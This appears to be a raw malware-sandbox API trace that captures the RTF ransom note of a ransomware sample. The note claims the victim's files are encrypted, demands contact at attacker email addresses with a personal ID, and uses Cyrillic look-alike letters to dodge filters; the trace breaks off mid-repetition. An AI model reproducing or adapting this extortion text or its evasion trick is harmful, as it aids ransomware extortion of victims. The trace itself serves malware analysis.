;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.391] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 